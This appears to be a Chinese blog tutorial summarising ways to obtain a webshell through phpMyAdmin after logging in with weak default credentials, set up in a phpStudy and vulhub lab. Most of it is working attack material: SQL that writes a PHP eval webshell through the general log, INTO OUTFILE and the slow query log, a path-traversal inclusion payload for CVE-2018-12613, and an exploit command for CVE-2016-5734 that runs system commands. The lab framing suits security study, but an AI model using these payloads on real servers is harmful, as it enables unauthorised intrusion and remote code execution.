phpMyAdmin之getshell

前言

  拿到phpMyAdmin弱口令登录到后台却不知道怎么利用,本篇总结一下phpMyAdmin getshell的姿势,以防忘记。

环境搭建

  建议在win7下搭建,因为我在win10下无法复现,下载phpStudy,环境已经集成好了,直接启用即可。
  实验环境说明:win7 + Apache(任意版本) + MYSQL(任意版本) + phpMyAdmin(任意版本) + 绝对路径 C:\phpstudy_pro\WWW。

写日志getshell

  默认用户名:root,密码:root,登陆进phpMyAdmin后,进入变量选项卡,搜索general,可看到以下信息。
  
  general log默认是OFF状态,即不开启日志记录功能。general log file是配置日志保存的位置。
  因为是root权限,所以我们可以对这两个变量进行修改。将OFF改ON,日志保存位置改成C:\phpstudy_pro\WWW\shell.php,即创建一个shell.php的空文件。
  
  进入靶机可看见shell.php日志文件
  
  查看shell.php里面的内容

C:\phpstudy_pro\COM\..\Extensions\MySQL5.7.26\\bin\mysqld.exe, Version: 5.7.26 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
2021-02-16T05:22:17.732510Z	   44 Query	SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
2021-02-16T05:22:17.748511Z	   45 Quit	
2021-02-16T05:22:17.748511Z	   44 Quit

  点击SQl选项卡,使用sql查询语句将一句话php木马写入日志,select '<?php eval($_POST[aaa]);?>';
  
  执行成功
  
  再次查看shell.php内容,可看到一句话木马已经被写入
  
  蚁剑成功连接
  

写文件getshell

  可使用select '<?php eval($_POST[aaa]);?>' INTO OUTFILE '网站路径';,将一句话写进文件,这里出现报错。
  
  报错原因是因为secure_file_priv的值的原因:

secure_file_priv=null  #不允许导入导出
secure_file_priv=/tmp/ #导入导出只能在/tmp/目录下
secure_file_priv=''    #可导入导出

  来到变量搜索secure_file_priv,可看到值为NULL,所以刚刚写文件失败了。
  
  在MySQL目录下打开my.ini,如图位置添加secure_file_priv=''
  
  保存文件,重启phpStudy,再次查看变量secure_file_priv,可看到刚刚的NULL值变为空
  
  尝试执行sql语句select '<?php eval($_POST[aaa]);?>' INTO OUTFILE 'C:/phpstudy_pro/WWW/1.php';,成功写入木马
  

慢查询日志getshell

  查看当前慢查询日志情况show variables like '%slow%';,可看到slow_query_log=OFF 是关闭的
  
  使用set global slow_query_log=on;开启慢查询功能
  
  重新设置日志路径set global slow_query_log_file='C:/phpstudy_pro/WWW/2.php';
  
  再次查看日志情况show variables like '%slow%';,已成功修改
  
  执行sql命令,写webshell进日志文件select '<?php phpinfo() ?>' from mysql.db where sleep(10);,访问2.php,成功执行phpinfo
  

特殊版本

CVE-2018-12613

  受影响版本
  phpMyAdmin 4.8.1和4.8.0
  payload为index.php?target=db_sql.php%253f/../../../../../../../../windows/win.ini,可查看文件
  

  查看数据库路径show global variables like "%datadir%";
  
  写入php代码

CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

  
  包含该数据库文件

index.php?target=db_sql.php%253f/../../../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/rce/rce.MYD

CVE-2016-5734

  受影响版本CVE-2016-5734详情

4.0.10.16之前的4.0.x版本
4.4.15.7之前的4.4.x版本
4.6.3之前的4.6.x版本

  环境搭建使用vulhub

cd /phpmyadmin/CVE-2016-5734
docker-compose up -d

  访问http://ip:8080 用户名:root 密码:root
  下载exp,使用python 40185.py -c "system('whoami');" -u root -p root http://192.168.127.132:8080 -c 执行的命令,-u 数据库用户名 -p 数据库密码 后面跟url,不能使用一句话直接反弹shell,建议写一句话木马进去
  

查看评论 -
评论